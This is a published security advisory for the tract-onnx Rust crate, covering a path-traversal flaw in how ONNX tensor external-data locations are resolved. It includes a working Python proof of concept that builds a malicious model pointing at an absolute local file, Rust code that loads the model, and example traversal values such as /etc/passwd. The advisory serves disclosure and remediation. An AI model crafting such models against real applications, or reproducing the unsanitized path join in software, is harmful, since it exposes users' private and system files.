PT-2026-50977 · Crates.Io · Tract-Onnx

Published

2026-06-19

·

Updated

2026-06-19

·

CVE-2026-55832

CVSS v3.1

6.1

Medium

VectorAV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L

Summary

tract (the tract-onnx crate) resolves an ONNX tensor's external-data location by joining it onto the model directory without any sanitization. Because location comes from the (untrusted) .onnx file, a malicious model can make tract open and read an arbitrary local file at load time, with the file's contents flowing into the model's tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference onnx library hardened over several CVEs; tract resolves location itself and was never hardened.

Details

In onnx/src/tensor.rs, get external resources() builds the path with no checks:
rust
let location = /* tensor.external data "location" value — attacker-controlled */;
let p = PathBuf::from(path).join(location);     // no is absolute / ".." / canonicalize / containment check
provider.read bytes from path(&mut tensor data, &p, offset, length)?;  // Mmap::map(File::open(p)) by default
  • Path::join with an absolute location (e.g. /etc/passwd) discards the base directory → p = /etc/passwd.
  • A relative ../../../../etc/passwd value is not normalized → directory traversal.
  • The default MmapDataResolver (onnx/src/data resolver.rs) then mmaps the file and copies mmap[offset..offset+length] into the tensor. offset/length are also taken from the file; an out-of-range slice panics (DoS).
No is absolute, .., canonicalize, or containment check exists anywhere on this path (tensor.rs, model.rs, data resolver.rs).
Reachable from the standard public API: model for path(p) (onnx/src/model.rs) sets model dir = p.parent() and calls load tensor(proto, model dir)get external resources(.., model dir).

PoC

Tested on tract-onnx 0.21.16 (crates.io), Rust 1.96.
  1. A canary file the model must not be able to read: /tmp/tract canary secret.txtTRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b
  2. Build a small evil.onnx with a UINT8[37] initializer whose external data is location=/tmp/tract canary secret.txt (absolute), offset=0, length=37, fed through Identity to the output (raw protobuf serialization):
python
import onnx
from onnx import helper, TensorProto, StringStringEntryProto
N = 37; LOC = "/tmp/tract canary secret.txt"   # absolute -> Path::join discards the base dir
w = TensorProto(); w.name = "W"; w.data type = TensorProto.UINT8
w.dims.extend([N]); w.data location = TensorProto.EXTERNAL
for k, v in [("location", LOC), ("offset", "0"), ("length", str(N))]:
  e = StringStringEntryProto(); e.key = k; e.value = v; w.external data.append(e)
node = helper.make node("Identity", ["W"], ["Y"])
out = helper.make tensor value info("Y", TensorProto.UINT8, [N])
g = helper.make graph([node], "g", [], [out], initializer=[w])
m = helper.make model(g, opset imports=[helper.make opsetid("", 13)])
open("evil.onnx", "wb").write(m.SerializeToString())
  1. Victim loads the untrusted model with the standard API:
rust
let model = tract onnx::onnx().model for path("evil.onnx")?;
let out = model.into optimized()?.into runnable()?.run(tvec!())?;
let bytes: Vec<u8> = out[0].to array view::<u8>()?.iter().cloned().collect();
println!("{:?}", String::from utf8 lossy(&bytes));
Output:
"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b"
i.e. the contents of the arbitrary local file were read by tract and surfaced in the inference output.

Impact

Read-only arbitrary local file disclosure when an application uses tract to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model's tensors / inference output. Secondary: denial of service (panic) via out-of-bounds offset/length. No write or code execution.

Suggested fix

Reject absolute location and any .. component, then canonicalize and verify the resolved path stays within the model directory (mirroring onnx 1.22.0's resolve external data location); reject symlinks; validate offset/length against the file size before slicing.

Fix

Path traversal

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-55832
GHSA-H668-6X6G-F8R5

Affected Products

Tract-Onnx